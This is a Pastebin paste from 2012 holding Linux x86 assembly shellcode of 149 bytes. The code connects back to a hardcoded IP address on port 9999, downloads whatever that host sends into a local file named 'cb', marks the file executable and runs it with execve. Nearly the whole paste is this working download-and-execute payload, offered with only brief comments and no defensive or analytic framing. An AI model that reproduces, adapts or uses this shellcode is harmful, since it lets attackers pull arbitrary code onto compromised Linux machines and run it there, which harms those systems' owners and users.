emS-St1ks

linux/x86 connect back 149

Jul 22nd, 2012
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. ;file download shellcode (149 bytes)
  3. ;
  4. ;connect back, download a file and execute.
  5. ;
  6. ;
  7. ;
  8. ;Advanced Defense Lab(ADL) st1ks modify
  9. ;
  10.  
  11.  
  12.  
  13. global _start
  14.  
  15. _start:
  16.  
  17. xor ecx,ecx
  18. mul ecx
  19. xor ebx,ebx
  20. cdq
  21.  
  22. ;socket
  23. push eax
  24. push byte 0x1
  25. push byte 0x2
  26. mov ecx,esp
  27. inc ebx
  28. mov al,0x66
  29. int 0x80
  30. mov edi,eax             ;edi=sockfd
  31.  
  32.  
  33. ;connect,port(9999)=270f ip(140.115.53.35)=(8c.73.35.23)
  34. push edx
  35. push long 0x2335738c     ;address *
  36. push word 0x0f27        ;port    *
  37. mov dl,0x02
  38. push dx                 ;family  1
  39. mov ecx,esp              ;adjust struct
  40. push byte 0x10
  41. push ecx  
  42. push edi                ;sockfd
  43. mov ecx,esp            
  44. mov bl,3              
  45. mov al,102
  46. int 0x80
  47.  
  48. ;sys_open(cb,O_WRONLY|O_CREATE|O_TRUNC[0001.0100.1000=1101],700)
  49. xor ebx,ebx
  50. xor ecx,ecx
  51. push ecx
  52. push word 0x6263        ;file name="cb"
  53. mov ebx,esp
  54. mov cx,0x242          
  55. mov dx,0x1c0            ;Octal
  56. mov al,5
  57. int 0x80
  58. mov esi,eax             ;esi=fd
  59.  
  60.  
  61. ;
  62. xor ecx,ecx
  63. mul ecx
  64. cdq
  65. mov dx,0x03e8         ;memory chunk=1000=0x03e8: read per time      
  66.      
  67. L1:                        
  68. ;sys_read(socket sockfd,buf,len)          
  69. xor ebx,ebx
  70. xor eax,eax
  71. mov al,3
  72. mov ebx,edi            ;edi=sock fd
  73. lea ecx,[esp-1000]      ;memory chunk
  74. int 0x80
  75. ;sys_write(fd,*buf,count)
  76. mov ebx,esi              
  77. mov edx,eax            
  78. xor eax,eax
  79. mov al,4
  80. int 0x80
  81. cmp dx,0x03e8        
  82. je L1                  ;loop
  83.  
  84.  
  85. CONTINUE:
  86. ;sys_close(fd)
  87. mov ebx,esi            
  88. xor eax,eax
  89. mov al,6
  90. int 0x80
  91.  
  92. ;execve[./cb,0]    
  93. xor ecx,ecx
  94. mul ecx
  95. push ecx
  96. push word 0x6263       ;file name="cb"
  97. mov ebx,esp
  98. push ecx
  99. push ebx                
  100. mov ecx,esp            
  101. mov al,0x0b
  102. int 0x80
  103.  
  104.  
  105. EXIT:
  106. xor eax,eax
  107. xor ebx,ebx
  108. inc eax
  109. int 0x80
  110. */
Advertisement
Add Comment
Please, Sign In to add comment